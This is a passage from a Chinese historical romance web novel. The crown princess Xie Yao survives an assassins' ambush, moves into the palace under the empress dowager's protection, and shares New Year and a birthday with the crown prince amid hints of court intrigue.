薛蔓儿望着谢杳渐渐远去的背影,喃喃感叹,“真是个奇怪的人!”
谢杳倚在车窗旁,任马车外的风景在眸中快速闪过,耳边响起棠梨清脆的笑声。
“小姐,你是没看到薛三小姐那佩服的眼神。你究竟跟她说了什么,让她一下子就改变了态度?”棠梨边说边凑到谢杳身旁。
谢杳轻轻摇头,“没说什么。她虽骄纵,但到底只是个不谙世事的小姑娘,没什么城府。”
棠梨撇了撇嘴,心中感叹:小姐年纪也不大,却要独当一面,肩负起整个家族,当真是不易。
一阵风拂过,吹起谢杳额间的发丝,她蹙眉,面色一改,伸手拽住棠梨的手腕,向她示警。
棠梨起身蹲在车帷后,轻声嘱咐驾车的小厮,然后用手指轻轻拨开车帷,露出一道不易察觉的缝隙,瞄向外面——她们行进的这条小巷很窄,两旁都是些无人居住的宅舍,极易于藏人。
棠梨回头望向谢杳,“小姐,道上无人。”
谢杳心下思量,目光一凛,指了指上面。
还没等棠梨回身再探,车身忽然向下一斜,小厮被甩了出去,扬声示警:“缰绳断了!小姐小心!”
话音刚落,一群黑衣人从天而降,拦住了她们的去路。
棠梨自窗侧窥探,“小姐,有人来了。”
“把你的短刃给我。”谢杳沉声说道。
“他们人数众多,我们恐怕不好应对。”棠梨心下慌乱,略带颤抖地把短刃递给谢杳,“小姐,你的身手不能轻易暴露!”
“你都说了他们人数众多,你我联手都很难解决,若我还不出手,别说以后,怕是我们现在就会死在这儿。”谢杳用力抽出棠梨手中紧攥着的短刃。
“不知阁下拦车,所为何事?”
“你说呢?太子妃!”一个低哑的声音幽幽传来。
谢杳语调一扬,“太子妃?那我可真是乐意之至。”
“少顾左右而言他!你就是谢杳!”那人急不耐烦地喝道。
“真是荒谬!我乃薛国公府的三小姐,薛蔓儿。不信你可上前来看。”谢杳佯装愠怒。
“姑娘既说自己不是谢杳,何不下车自证身份?”
“我乃闺阁女子,不好见那么多外人的。”谢杳应对自如。
领头的那人与其他几人互相交换了个眼神,觉得可行,就只身走上前去。
车帷被人用剑挑开,戴着帷帽的谢杳端坐在车中,那黑衣人见车上不只她一人,脚步一顿。
“她是我的侍女。”谢杳柔声解释道。
黑衣人望着弱不禁风的谢杳和棠梨,勾了勾唇,半个身子探进车内,伸手猛地掀起谢杳的帷帽。
在他看清谢杳的面容后,脸色骤变,“你不是薛蔓儿!”
还没等他说完,棠梨猛地朝他后颈处一击,将他打晕,踩在他身上跳了出去。
外面的那一伙黑衣人见状,立刻拥了上来,把棠梨围在中间。棠梨抽出腰间的软剑,挑眉一笑,与他们交起手来。
谢杳用马车内备着的披风将领头的那个黑衣人绑好后,用脚一蹬,跳出车外。
她的轻功极好,三两步就跃上了屋顶。从檐上俯瞰下去,每个人的动作都一清二楚,待时机一到,谢杳纵身跃下,扬手用短刃轻松地杀掉了棠梨身后准备偷袭的黑衣人。
那伙黑衣人似是认出了谢杳的面容,瞬时一窝蜂地转去攻击谢杳,一场厮杀就此展开。
没过多久,从远处隐约传来几声马鸣,谢杳迎面的黑衣人猝然倒地。
元序从马上极快地跃下,拔剑向身侧的黑衣人刺去,有了他和苏木的加入,那伙黑衣人很快就被一一制服。
元序扔下手中的剑,焦急地拉住谢杳的手腕,上下打量着她,关切地问道:“没事吧?”
谢杳刚想回答,却忽然面色一变,
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她猛地抱住元序,转了个方向。
那个之前被绑住的黑衣人头领,不知何时出现在元序身后,他挥起的剑,最终落在谢杳的手臂上,划出了一道长长的口子。
苏木一个侧踢,将那人踹翻在地,他将剑转了个方向,架在那人的脖子上。
“留活口!”谢杳忍着疼痛扬声喊道。
可惜还是晚了一步,只见那黑衣人头领往剑上一蹭,倒在了血泊中。
谢杳不管不顾地跑过去,她揪住黑衣人的衣领,“是何人派你来的?说!究竟是何人派你来的?”
那人缄口不言,露出心满意足的笑容,然后头一歪,断了气。
谢杳像是被抽出了全身的力气,呆坐在地上。她胳膊上的伤口不断涌出鲜血,染红了整个衣袖。
元序快步走到谢杳跟前,从衣服上撕下一块布条,绑在谢杳的胳膊上,然后将她打横抱起。
“苏木,这里交给你了。”元序交代完,抱着谢杳上了马,策马疾驰而去。
元序一言不发,快马加鞭,将谢杳直接带回了东宫。
他抱着谢杳,边进殿边向侍从喊道:“召太医!快!”
太医院听闻太子有恙,派了好几位太医一同前来,他们匆匆忙忙地赶到,急得满头大汗。
元序见太医一到,连忙拉着他们上前给谢杳诊治。
谢杳望向元序,向他比划了个喝水的动作。元序会意,倒了一盏茶,递给谢杳,谢杳不接,眼神示意他递给太医。
“孙太医,辛苦您了。”元序说着将茶递给了孙太医。
“殿下客气了,这些都是臣的分内之事。”孙太医躬身作揖。
“太子妃情况如何?”元序面露担忧。
孙太医微笑着说道:“殿下放心,太子妃并无大碍。伤处虽未及时处理,但好在伤口不深,日后多加修养,不要沾水,不要提重物,结痂后就无事了。”
在他们身后,几个太医互相张望,恍然大悟:怪不得太子殿下这般担心,原来这位就是当今的太子妃。
太医们离开后,元序坐到谢杳跟前,垂眸望向她的手臂。
“殿下,没事的,太医都说了并无大碍。”谢杳见他情绪不对,故作轻松地说道。
“疼不疼?”元序抬眸,眼中满是对谢杳的关心。
谢杳俏皮一笑,轻轻摇头。
元序神情严肃,“昭昭,你记住,无论以后遇到何种境况,你都不许挡在我前面。”
“这不是没事嘛。”
“倘若苏木今日慢了一步,你伤到的可就不是手臂了,而是性命!”
“那我也不能眼睁睁地看着你丢了性命!”谢杳脱口而出。
良久,她继续说道:“太子殿下的命很重要,于大晟,于百姓,都无比重要。”
元序嗔笑,“可是昭昭,对我来说,你的命一样重要。在这世间,人的身份或许有别,但性命不是,每个人的生命都该被好好珍视,无有高低贵贱之分。”
谢杳默不作声,低下了头。
“你先在此休息,待酉时我送你回府。”
元序走后,谢杳扶着手臂,慢慢躺下。
寂静的屋子里,传出一声叹息。
5. 第四卷·满城春色宫墙柳
太子妃受伤的消息,被东宫急召太医的举动一闹,在宫里传扬开来。
元序将谢杳送回府后,没做停留,直奔慈宁宫而去。
“皇祖母。”元序向太后见礼。
太后见太子前来,疑惑地问道:“阿序?予不是说了晨昏定省不必拘泥。”
“皇祖母,孙儿此次前来,是有事相求。”元序言辞恳切。
“哦?说来听听,是何事需要让我这个老太婆帮忙?”太后打趣道。
“皇祖母可一点都不老。”元序神色认真,“孙儿想求皇祖母下旨,召太子妃入宫。”
太后闻言脸色微变,沉默了片刻,缓缓开口:“这件事,予做不了主。”
元序眸光一动,“可是父皇授意?”
太后眼睫微颤,缓缓开口:“阿序莫急,待明日,予试一试。”
翌日清晨,朔光帝晨省后,被太后留下一同用膳。
用完早膳,朔光帝幽幽开口:“母后留儿臣用膳,可是有话要说?”
“什么都瞒不过皇帝。”太后轻笑,“太子妃已入京多日了,不知陛下是如何想的?”
“太子妃完婚前未必非要入宫,前朝也不是没有先例。”朔光帝淡淡应道。
“前朝虽有先例,但如今却不能同日而语。”太后神色不悦,直言道:“太子妃乃是在长安城内遇刺,再这般放任下去,陛下如何向江宁侯府交代?更何况她不只是谢氏女,更是太祖钦定的太子妃,陛下此番做法,终是有损天家颜面。”
“母后教训的是,那便依母后所言吧。儿臣还有政事要处理,先行告退。”朔光帝拂袖而去。
太后望着朔光帝的背影,无奈地摇了摇头。
辰时一过,日光又盛了几分,谢杳坐在院中的摇椅上,望着花团锦簇的海棠树发着呆。
微风拂过,云朵悄悄溜走,洒下几束阳光,照得谢杳睁不开眼。她索性闭目凝神,沉浸在这和煦的春意之中。
元序一进门就看到这样一幅景象——海棠树下,一个身着淡粉色衣裙的少女闭着眼,神情惬意。
几片花瓣随风翩翩飘落,落在少女的身上,周遭的风景与她浑然一体,美自天成。
元序悄悄走上前,用衣袖挡住照在谢杳脸庞上的阳光。
谢杳像是感觉到了什么,眼睫微动,缓缓睁开眼——元序就这么猝不及防地映入她的眸中,花瓣翻飞,白衣胜雪,她从没见过这般与白衣相配之人。
这样看当真是温润如玉,她如是想到。
“既有伤在身,怎么不在屋里好好躺着?”元序见谢杳醒了,移步挡在她面前,甩了甩胳膊。
“屋里太闷,想在外面晒晒太阳,谁料还被太子殿下给挡住了。”谢杳指了指太阳。
“这样晒太阳?”元序狡黠地眨了眨眼,微微侧身,一束光照过来,晃得谢杳连忙抬手去挡。
“啊——”
谢杳的动作过于匆忙,竟无意中将伤着的那只手臂一抬,痛的她忍不住叫出了声。
元序连忙回身,面露担忧,“没事吧?”
谢杳瞥了他一眼,表情狰狞地摇了摇头。
“昭昭可知,昨日你们去慈恩寺有人暗中跟随?”元序将话引回正题。
“我知晓,那人是薛蔓儿。”谢杳直言相告。
“如此便说通了,想必之前巷内的灯笼也是她弄的。”元序眸中带着一丝冷冽。
“所以太子殿下昨日是因为这个前来寻我?”谢杳试探道。
“苏木一直没能查到撕毁灯笼的始作俑者,因此我便命他守在府外。昨日他见你们马车后面有人跟随,急忙传信于我,我隐隐觉得不妥,就去慈恩寺寻你了。”元序耐心地解释道。
不是薛蔓儿,不是太子,那这群黑衣人会出自何处呢?谢杳有些不知方向。
元序将令牌从衣衫中掏出,递给谢杳,“苏木昨日在那群黑衣人身上搜到了西羌的流沙令,但仅凭一块令牌,还不能确定幕后之人的身份。”
谢杳接过令牌,端详了一番,“这令牌有何用处?”
“流沙令乃西羌一名为瀚海的杀手组织所有,持令者可召唤隐藏于世间各地的瀚海杀手,这些杀手行事不拘泥于朝,也并非都为羌族之人。”元序淡淡说道。
“好一招死无对证。”谢杳怒极反笑,如此她便就是有了物证也无处去寻。
元序顿了顿,继续说道:“昭昭,我已求皇祖母下旨,召你入宫。”
“殿下担心我的安全?”谢杳抬眸,与元序目光交汇。
“是,我实在别无他法。”元序神色黯然,“虽然宫内的危险也无处不在,但至少你能离我近一点,我便能更快一些赶到,护你周全。”
谢杳移开目光,“谢过殿下,谢杳自是恭敬不如从命。”
待元序走后,谢杳伸手接住飘落而下的几片花瓣,把它们紧紧攥在手心。
与薛蔓儿和太子无关,并不等同与国公府和宫中之人无关,大晟朝堂不乏忌惮江宁侯府之人,幕后真凶恐怕不只一人。想到这儿,谢杳长长地叹了口气。
“棠梨,收拾收拾东西,我们就快入宫了。”
未时初,宫里便来了人,谢杳接下懿旨,与棠梨一起,在宫里来人的护送下进了宫。
“太后所居的宫殿是慈宁宫,太子妃的住所就在慈宁宫的偏殿安乐殿,是离慈宁宫最近的偏殿。”太后宫里的小宫女和颜悦色地介绍着。
谢杳笑着点了点头,“多谢。”
那小宫女一愣,连忙摆了摆手,“太子妃不必客气。”
“棠梨,你同她一道去安乐殿,安置好行李。我先去见太后。”谢杳交代完,转身去了正殿。
“太子妃,太后在屋内等您。”一个年近半百的宫女向谢杳见礼。
谢杳回礼,“您就是慈宁宫的掌事女官赵嬷嬷吧?”
“正是老奴。”赵嬷嬷闻言一笑,帮谢杳打开了门。
谢杳不再耽搁,走进屋内。
“臣女拜见太后。”谢杳正要跪下去,就被一双温暖的手给扶起。
太后面色和善,“杳杳可有好些?”
“回太后,臣女无碍的。”谢杳一时间有些失神,太后慈祥的面容让她莫名想到未曾谋面过的祖母。
“莫要和予这般生分,你兄长出生时予还抱过,你便同太子他们一样,叫予皇祖母吧。”太后拉着谢杳一同坐了下来,“你就在慈宁宫好生住下,有皇祖母在,看谁敢动我们杳杳!”
谢杳轻快地点了点头,“谢杳谢过皇祖母。”
安乐殿内,陈设似是最近才被人改过,换成了清新素雅的风格。殿内的物件,也都纤尘不染,打眼一瞧就知是新的。
“小姐,你说这是太后授意,还是……殿下授意?”棠梨悠闲地整理着自府内带来的衣物,打趣道。
谢杳瞥了一眼棠梨,闭口不答。
她转头望着四角宫墙下露出的那一角天空,感到有些怅惘。祖父已离去多年,如今一切都变了模样,他们慢慢长大,也慢慢失去,唯一不变也幸而不变的是长安,这座承载了万千人生的城池。
前路难测,只能且行且看,谢杳有预感,自己不会在这儿待太久的。
没过多久,谢杳就收到了一个令她头疼的消息——待她痊
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愈后,她也要与皇子和公主们一样,同往尚书堂学习。
谢杳两眼一闭,躺在床上。
棠梨见状,连忙跑上前询问:“小姐,可是伤口又疼了?”
“没有。我倒是希望它疼了。”谢杳生无可恋地回答道。
门外的元序听了这番话,忍俊不禁,放轻脚步,转身悄悄离去。
谢杳的伤口愈合得很快,这也意味着尚书堂学习的日子就这么到来了。
今上的子嗣并不多,只有三位皇子和两位公主,其中端淳公主元承锦不过九岁,三皇子元康刚满六岁,也就只有太子、二皇子和永乐公主与她年纪相仿。
如此倒也不难应对,谢杳的脚步不由得轻快了许多。
“太子妃请留步。”
谢杳闻声回头,来人一身玄紫色锦衣,气质华贵。
“二殿下。”谢杳见礼。
“本殿与太子妃从未见过,太子妃何以认得出?”二皇子元庆勾了勾唇。
“谢杳不才,只是素闻二殿下喜爱这玄紫之色,斗胆一猜罢了。”谢杳坦然相告。
“太子妃何必自谦呢?尔乃是皇祖父钦定的太子妃,令尊是大晟的江宁侯,令堂是大晟的飞燕将军,令外祖还是淮南节度使。太子妃,尔绝非泛泛之辈!”元庆咄咄逼人。
“二殿下所言非虚,但恕谢杳不能苟同。这些亲人确与谢杳有着密不可分的联系,可谢杳终归只是谢杳。”
元庆没出声,似是在等她继续说下去。
谢杳付之一笑,缓缓开口:“谢杳斗胆一言,当今圣上是殿下的父亲,皇后是殿下的生母,殿下的祖父是太祖皇帝,祖母是太后,外祖父是大晟的国公,威望堪比一国宰辅。可这些都是他们的名望,二殿下不过只是二殿下而已。”
“不过只是。”元庆抬眸,“太子妃当真有趣!”
“哥哥,你怎的还在这儿?”
一个身着月白色广袖襦裙的女子,步态端庄,举止优雅,自元庆身后走上前来。
她目光一转,望向谢杳,细声细语地问道:“这位是?”
“见过永乐公主,在下谢杳。”
谢杳的目光扫过公主的衣裙,心中暗叹:竟有人同哥哥一样,也喜欢这个颜色。
“这位便是太子妃。”元庆在一旁介绍道。
永乐公主向谢杳施了个礼,回身望向元庆,“哥哥,我们快些走吧,别让太傅等太久。”
谢杳倒是不甚着急,这位太傅说来也是与她关系匪浅——太傅顾怀川,汴州人氏,是她祖父的得意门生。无奈谢杳生得晚了些,时至今日还未曾与他见过面。
见二皇子和永乐公主渐渐走远,谢杳不由得加快脚步。她可不想最后一个到,那样传出去怕是会被人说不把皇家放在眼里,又是一场无妄之灾。
尚书堂下了学,顾怀川叫住元序和谢杳,让他们留下。其余的皇子和公主纷纷敛了东西,依次离去。
元序和谢杳等在原地,待人都走了后,起身来到太傅跟前。
“阿杳都长这么大了!”顾怀川欣慰地望着谢杳。
谢杳闻言,微微一笑。
顾怀川侧目,嘱托元序:“殿下,阿杳孤身一人在这宫中,你要多帮衬她。”
“老师放心,孤定会照看好她。”元序神情认真,笃定地说道。
春来夏往,秋收冬藏。
宫中的日子,就在尚书堂日复一日的朗朗书声中过去了大半,像是一潭死水,泛不起一丝涟漪。
可就算如此,谁又能说这样的日子不好呢?
毕竟,不是每个人都能拥有这样平静的生活的。
6. 第五卷·爆竹声中一岁除
又是一年除夕,整个长安城都洋溢在喜庆的节日氛围之中。
每年的这一天,帝后都会登上城楼,在承天门受万民朝拜,再携手放飞祈天灯,祈愿新的一年国泰民安。
因此,每年除夕至上元节前后,都会解除宵禁,方便市民在城内流通。
除夕夜宴开始,宫内熙熙攘攘。
谢杳坐在太子身后的位子看着众人推杯换盏,一个又一个的上前与太子攀谈,实在觉得无趣,就着点心,一连饮了好几杯。
屠苏酒的味道她喝不习惯,几杯下肚,就没了兴致。她想:还不如姑姑的桃花醉呢。
谢杳抬头望着弯弯的月牙,眼底添了几分不知名的愁绪。
宫宴的时间过了大半,谢杳胡乱找了个借口,离开了宴席。
她绕过太液池,走到万春亭中坐了下来。夜里的风很冷,吹得她忍不住裹紧了斗篷。
太液池中尽是枯荷,池旁的柳树也只剩下光秃秃的枝干。倒是谢杳一身淡粉色衣裙,远远看去,像是开在万春亭里的一株莲荷。
一个小内侍躲在假山后面,窥视着万春亭的方向,准备伺机而动。他刚迈开腿,就觉得肩膀一沉,猛地回身,在看清来人的面庞后,支支吾吾地说道:“奴才见过二殿下。愿二殿下新岁平顺,万福加身!”
元庆挑眉一笑,目光阴冷,似是比这冬夜的寒意更重。
“还不快滚!”
那小内侍颤颤巍巍地接过赏钱,跪地谢恩后,疾步离去。
元庆倚在假山旁的石块上,玄紫色的衣衫与黑夜融为一体,让人更加难以察觉。
他凝望着谢杳孤零零的背影,轻笑道:“太子妃,怎么会有那么多人想杀你呢?”
话音刚落,一个明黄色的身影跃进视线。
“当——”
来人轻快一跃,手中的两壶酒受力相撞,响声清脆。
“殿下可别摔了。”谢杳不用回头,就知晓来人是谁。
“昭昭是怕我摔了?还是怕酒摔了?”元序走到谢杳面前,晃了晃手中的酒。
谢杳不答,伸手抢过一壶酒,打开盖子闻了闻,展颜一笑,“是桃花醉!”
“鼻子倒是灵。”元序笑着坐了下来。
“殿下怎么会……”
“嘘——”
元序示意谢杳噤声。
谢府之外尚且有人暗中监视,更何况宫中这样一个是非之地。想到这儿,谢杳撇了撇嘴。
元序看着好不容易开怀的谢杳又撅起小嘴,心中很是犯愁。他话锋一转,问道:“昭昭可还记得明日是什么日子?”
“元日啊。”谢杳脱口而出。几乎是同一瞬间,她就想到了另一个答案——明日还是太子殿下的生辰。
很多年前,在江宁,在他还只是子启哥哥的时候,她给他过过一次生日。
那时祖父和太祖都在,还有整个江宁侯府,所有人都沉浸在新岁来临和庆祝生辰的双重喜悦之中,度过了那一年的元日。
如今想来,那段记忆,像是过去了很久很久,仿佛一场梦一般,短暂而美好。
“昭昭?”元序摆了摆手,“想什么呢?不记得也没关系。”
“记得。”谢杳正色道。
元序压低声音,“明日我带你出宫。”
谢杳闻言,惊喜地望向他,二人相视一笑,举杯对饮。
元庆看着眼前这一幕和乐的景象,自嘲地笑了笑,头也不回地转身离去。
爆竹声毕毕剥剥地响起,祈天灯挤满夜空,千家万户都在祝福。
谢杳望着璀璨的夜空,心中默默祈愿:“父亲、母亲、姑姑、兄长,愿你们新的一年无灾亦无难,万事皆如意。”
待她垂眸,忽然发现桌案上多了一个信封,不知是元序何时拿出来的。
他眼神示意,谢杳莞尔,打开信封,拿出里面的信。
吾妹昭昭:
见字如面,展信舒颜。
暌违日久,拳念殊殷。然车马路遥,乡音难往,辗转于途,不知是何年月。
岁聿云暮,一元复始,念及旧岁,思怀尤甚,故修书以闻,盼妹一切安好。
家中无虞,妹勿念。
言不尽思,再祈珍重。
兄谢景
朔光十三年冬至
信上的字迹她无比熟悉,定是哥哥亲笔所写。
谢杳双手微颤,渐渐红了眼眶。
“家中无虞,妹勿念。”
在看到这一行字时,谢杳的眼泪终是忍不住夺眶而出,泪水顺着她的脸颊滑落,打在信纸上,晕成层层涟漪。
元序伸手擦干她脸上的眼泪,“别哭了,不然风一吹,头会痛的。”
谢杳点了点头,整理好情绪,缓缓开口:“我们回去吧。”
元序眸光微动,“好,我送你回去。”
太后见是太子亲自送谢杳回来,心中大悦,索性将元序留在慈宁宫守岁。
谢杳回房间换了身衣裳,顺便把信给了棠梨,嘱咐她收好,就立刻出门前往正殿。
她推开门,发现天不知何时下起了雪,薄薄的一层覆盖在地上,在夜色下,星星点点地闪着光。
谢杳朝着月亮的方向伸出手,任雪花落在掌心,带来一丝凉意。
良久后,她忽地觉得身上一暖,垂眸一看,作势便要脱下身上披着的斗篷。
“别动!”元序紧紧拽住领口,将斗篷给她系好,佯装愠怒,“昭昭能不能好好爱惜自己的身体?这般天气,也能不穿斗篷就出来?”
“那殿下怎么办?”谢杳反问道。
“我们快些进屋去。”说着,元序便要拉着谢杳往正殿走。
谢杳站在原地不动,拉住他的胳膊,露出一个不好意思的笑容:“我想在屋外看会儿雪。”
元序停下脚步,陪她站在原地,目光望向天空。
“棠梨,把我的白色斗篷拿来。”谢杳扬声对着屋内喊道。
棠梨连忙将斗篷送了出来,她望着谢杳身上的玄色斗篷,难掩惊讶,“小姐,你刚才没穿斗篷就出门了?”
谢杳蹙眉,瞥了一眼棠梨。
棠梨把斗篷往谢杳手里一塞,转身快速进了屋。
元序抬眸,直直地盯着谢杳,像是在说:看吧,不只是我一人觉得不妥。
谢杳避开元序的目光,走到他身后,将斗篷披好,又走回他面前,抬手给他系好系带。
雪越下越大,四周寂静无声,元序微微俯身,二人目光交汇,谢杳的动作不由得一滞。
“好……好了。”谢杳收回手。
元序仰头,望着漫天飞雪,不自觉扬起了嘴角。
子时初,二人进屋时,身上都落了厚厚的一层雪。
太后望着这两个孩子,打趣道:“不知道的还以为予的宫里来了两个雪人呢!”
谢杳莞尔一笑,“皇祖母,我和殿下还真堆了一个雪人。您来窗子旁看看?”
太后在谢杳和元序的搀扶下,移步到窗边。
屋外大雪纷飞,满目皆白,一个雪人静静伫立在院子中央。
太后看着此情此景,欣慰地说道:“瑞雪兆丰年,来年定是个好年岁啊!”
焰火升空,光芒闪烁,打更人的声音阵阵传来,旧岁已辞,新岁伊始。
翌日清晨,谢杳被棠梨的叩门声惊醒,只见棠梨疾步走到她跟前,慌张地说道:“小姐,东宫传信,太子殿下被圣上唤去太极殿了。”
“这有何异?”谢杳不以为意,眼睫微颤,勉强睁开眼。
“朝会过后,圣上又单独召见了太子和薛国公。”棠梨补充道。
谢杳坐了起来
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,招手示意棠梨走到她身侧,“可是和姑姑有关?”
“应当不是。”棠梨摇了摇头,露出一个略带遗憾的表情,“小姐,你今天怕是没办法出宫了。”
“无妨,想办法打探殿内的消息。”谢杳面色一沉。
过了大半天,直到日落时分,元序才回了东宫。他神色凝重,眉头紧蹙,面上是难掩的疲惫。
谢杳望着渐渐走近的元序,心中莫名有些心疼。
“殿下!”
元序抬眸,望见一个身影从门后蹿了出来。杏粉色的裙摆迎风飘拂,在夜色阑珊下,宛若开在殿门口的一朵花。
谢杳眉目带笑,微微歪头,“殿下可算回来了。”
元序长长地舒了口气,好似卸下了一身的风雪,缓缓展颜。
殿内的桌上,长寿面还冒着热气,一旁的碗碟里还摆着柿子和点心,还有一壶之前他给谢杳的桃花醉。
“长寿面是我做的,点心是棠梨去西市的柳记糕铺排队买的,还有柿子,是我在皇祖母宫里的那颗柿子树上偷偷摘得!”谢杳眉飞色舞地给元序介绍着。
元序拿起筷子,先夹起了寿面。
谢杳笑意盈盈地望着他,见他忽地动作一顿,有些慌乱,“怎么了?是不是不好吃?”
元序摇了摇头,缓缓开口:“这面是甜的。”
空气瞬间凝固,谢杳表情一僵,心中懊恼:自己竟然把糖当成了盐,真是太丢人了。
元序见谢杳纠结的样子,忍俊不禁,安慰她道:“吃点甜的,也好。”
谢杳轻叹,用手依次指着桌上的食物,一一解释道:“这碗长寿面,寓意平平安安;这些点心,才叫吃点甜的,寓意喜乐无忧;最后,是这几个柿子,寓意事事如意。”
元序的目光停在谢杳的脸上,他的眸中映着少女认真又可爱的神情,一股暖意渐渐涌上心头。
“生辰快乐!”
少女的笑颜如明媚的春日,在寒冷的冬夜里,绽放出最和煦的色彩。
元序眼尾微红,抬手轻轻摸了摸谢杳的头,“谢谢昭昭。抱歉,今日是我食言了。”
谢杳被他的动作弄得一愣,迟缓地摇了摇头。
良久,元序继续说道:“昭昭还记得我的字吗?”
谢杳轻轻点头,被他跳脱的问题,弄得摸不着头脑。
“其实,元序这个名字是皇祖父在母亲去世后给我改的,我原本的名字是叫元子启。”元序眸中带着几分忧伤。
“广予为序,开元为启。”
谢杳一字一顿地念道。
“你的生日又恰好在元日,这两个名字都很相宜。”
元序苦笑,声音低沉,“我更喜欢原来的名字,那是阿娘留给我唯一的东西了,可惜……只能做我的字。”
“元子启。”谢杳轻唤他的名字。
元序怔然,猛地抬头,与谢杳对视。
谢杳望着元序清澈的眼眸,一时间不知自己该如何问出口。
东宫究竟隐瞒了什么,才能让位高权重的一国国公,在元日的伊始找到圣上的跟前。如此大煞风景,却还能让薛国公这般不管不顾的事,究竟是什么?
朔光帝继位以来,有重大变故的世族虽不在少数,但若有心想查,倒也不难查到,还是想办法传信姑姑,让她暗中打探吧。
谢杳挣扎一番,终是不忍,只好将心事暗自搁下,露出一个温和的笑容。
“昭昭这般喜爱的桃花醉,还是拿回去自己慢慢喝吧。”元序掏出袖中藏着的酒,塞到谢杳手里,“天色很晚了,快些回去吧。”
苏木会意,走上前,做了个请的动作。
谢杳颔首与元序道别,在苏木和棠梨一左一右地护送下,离开了东宫。
这一夜,东宫的灯火彻夜长明,直到新一天的晨光降临。
7. 第六卷·但知行好事
自元日之后,谢杳就没再和元序见过面,整个东宫就像是与世隔绝了一般,没有一点动静。
其中缘由,并不难猜,也正因如此,谢杳才更加犯愁。如今她既不能从太子的口中问出事情的原委,也无法向姑姑传讯探查,这般境地究竟该如何破局呢?
谢杳在慈宁宫的院内来回踱步,一旁的棠梨实在看不下去,开口劝说道:“小姐,要不我们进屋待会儿?”
棠梨身子一侧,挡住手上的动作,她指了指主殿的方向,向谢杳使了个眼色。
谢杳会意,此番举动若是让旁人看到,怕是会起疑,于是她扬声说道:“左右无事,你陪我去太液池走走吧,我实在无聊得紧。”
慈宁宫内,太后忍俊不禁,转头望向赵嬷嬷,“予就说无事吧?”
赵嬷嬷微微躬身,“太后慧眼。”
“这宫中的日子乏味无趣,杳杳又正是贪玩的年纪,何必要拘着她?予像她这般大的时候,总是偷偷溜去清河郡的海边,如今想来,那段日子真是快意。”太后感叹道。
赵嬷嬷点头附和,没再多言。
万春亭内,一个身披月白色锦缎斗篷的女子坐在亭中,不停地用手抹着脸颊。
谢杳迟疑地停下脚步,躲在假山后,定睛一看,发现那人竟是永乐公主。
除夕时的旧雪还未来得及消,昨日夜里就又下了场大雪,堆在地上厚厚的一层,让人瞧不出深浅。
棠梨跟在谢杳身后,见谢杳忽地一停,她的脚步也随之一顿,却不想脚底的浮雪下是一层薄冰,害得她向后一滑,忍不住叫出声来。
谢杳连忙伸手扶住棠梨,待她站稳后,努力挤出一个笑容,回身向亭内闻声望来的永乐公主见礼。
“谢杳路过此地,无意间扰了公主雅兴,特向公主请罪。”谢杳边说边向万春亭走去。
“太子妃言重了,请坐吧。”永乐公主温吞地说道。
谢杳偷偷打量这位永乐公主,她不曾与姑姑聊到这位公主,也不曾听说过什么与她有关的民间传闻,因而并不了解她的脾气秉性。
但不用细想也能知道,她的生活不会太差,毕竟她与二皇子元庆乃是一母同胞,皆为当今的皇后所出,身份尊贵无比。
永乐公主蓦地开口:“永乐有一问,想问太子妃。”
“公主但说无妨。”谢杳抬眸,迎上她的目光。
“太子妃独在异乡,是何种心情?”
“思乡。”
还有……如履薄冰,这后半句话谢杳没有说出口,毕竟交浅言深,绝非好事。
“不会觉得形单影只吗?”永乐公主追问道。
谢杳摇头,顿了顿又问,“公主平白无故,为何会想到这些?”
永乐公主的嘴角露出一丝苦笑,“因为这也是我以后要面对的。”
谢杳不解。
永乐公主继续说道:“身为一个公主不得不去面对的。”
“殿下此言差矣。”
永乐公主眸光闪烁,带着一丝期待望向谢杳。
“今时不同往日,更何况,公主的使命从来都不是和亲,两国的和平,也绝不是用一个女子的幸福就能轻易换取的。”谢杳言辞笃定。
“可是,前朝至今,还没有公主不被和亲的先例。”永乐公主语调忧伤。
“那公主怎知自己不会成为这个先例呢?”
永乐公主闻言一愣。
谢杳莞尔,“公主何不勇敢一些,去争做这个先例,为自己,也为以后的公主,开创出一条新的路。”
“太子妃此言,犹久旱逢甘霖,解了永乐心头之惑。”永乐公主豁然开朗,面露喜色。
“公主聪慧,早晚都会想通的。”谢杳淡淡说道。
谢杳心下感叹,在这深宫中长大还能这般心思单纯之人真是难得。
其实她完全不需要做任何事,如今大晟威名在外,根本没有和亲的必要。就算大晟有一天真的要用和亲来换取和平,也断不会轮到永乐公主的头上。
可惜其他人,就不会这么幸运了。
“永乐愿与太子妃相交,不知太子妃意下如何?”永乐公主的声音中透着几分欣喜。
“谢杳不胜荣幸。”谢杳微笑颔首。
“元承双,原来你在这儿。”
永乐公主和谢杳循声望去,太液池旁,元庆双手交叉抱在胸前,懒散地倚在一棵光秃秃的柳树上。
“二殿下。”谢杳向元庆见礼。
“哥哥,你何时来的?”永乐公主有些心虚地问道。
“自你说要与太子妃相交的那一刻。”元庆勾了勾唇。
冬日的阳光洒在少年的脸上,将那清冷的面容覆上一层暖意,变得不再那么让人难以接近。
“谢杳想送公主一句话。”
永乐公主侧目望向谢杳。
“但知行好事,莫要问前程。”谢杳一字一顿地说道。
没等永乐公主回答,元庆就抢先开了口:“承双心思敏感,她若说了什么无稽之言,太子妃莫要见怪。”
言罢,他走到两人跟前,面向谢杳继续说道:“本殿也想凑个热闹,不知太子妃可愿意?”
谢杳莞尔,“有朋相与,不亦乐乎。”
“既如此本殿也就不拐弯抹角了,太子妃最近可是有得罪什么人?”元庆直言道。
永乐公主猛地拽住元庆的胳膊,“哥哥,你胡说些什么!”
谢杳蹙眉,“二殿下何出此言?”
“无他,就是想到之前太子妃遇刺一事,有些疑惑罢了。”元庆故作漫不经心。
谢杳正色道:“谢杳此前从未与长安世族有过任何往来,如今入长安也不过一年半载,无从与何人积怨、交恶,更不知得罪了。”
元庆神情认真,直视着谢杳,“话虽如此,但到底人心难测,还望太子妃无论身在何处,都能常保戒备之心。”
谢杳迎上他的目光,“多谢二殿下提醒。”
待二皇子和永乐公主走后,谢杳坐在万春亭内反复回想起元庆刚才的话。
虽然大晟这位二皇子素来玩世不恭,但仔细想来他的一番话不无道理,也绝非笑谈,更像是在向她示警。
如今东宫有异,太子无暇顾及其他,想必那个欲谋害她的幕后之人正蠢蠢欲动,若是自己在这个时候传信姑姑,岂不是自投罗网。
想到这儿,谢杳起身,同棠梨说道:“我们也回去吧。”
回坤宁宫的路上,元承双追着元庆问了一道,“哥哥,你刚才和太子妃说的话是什么意思啊?”
“随口一说罢了。”元庆将话题一转,“倒是你,与太子妃聊了些什么?”
“没……没聊什么。”元承双眼神躲闪。
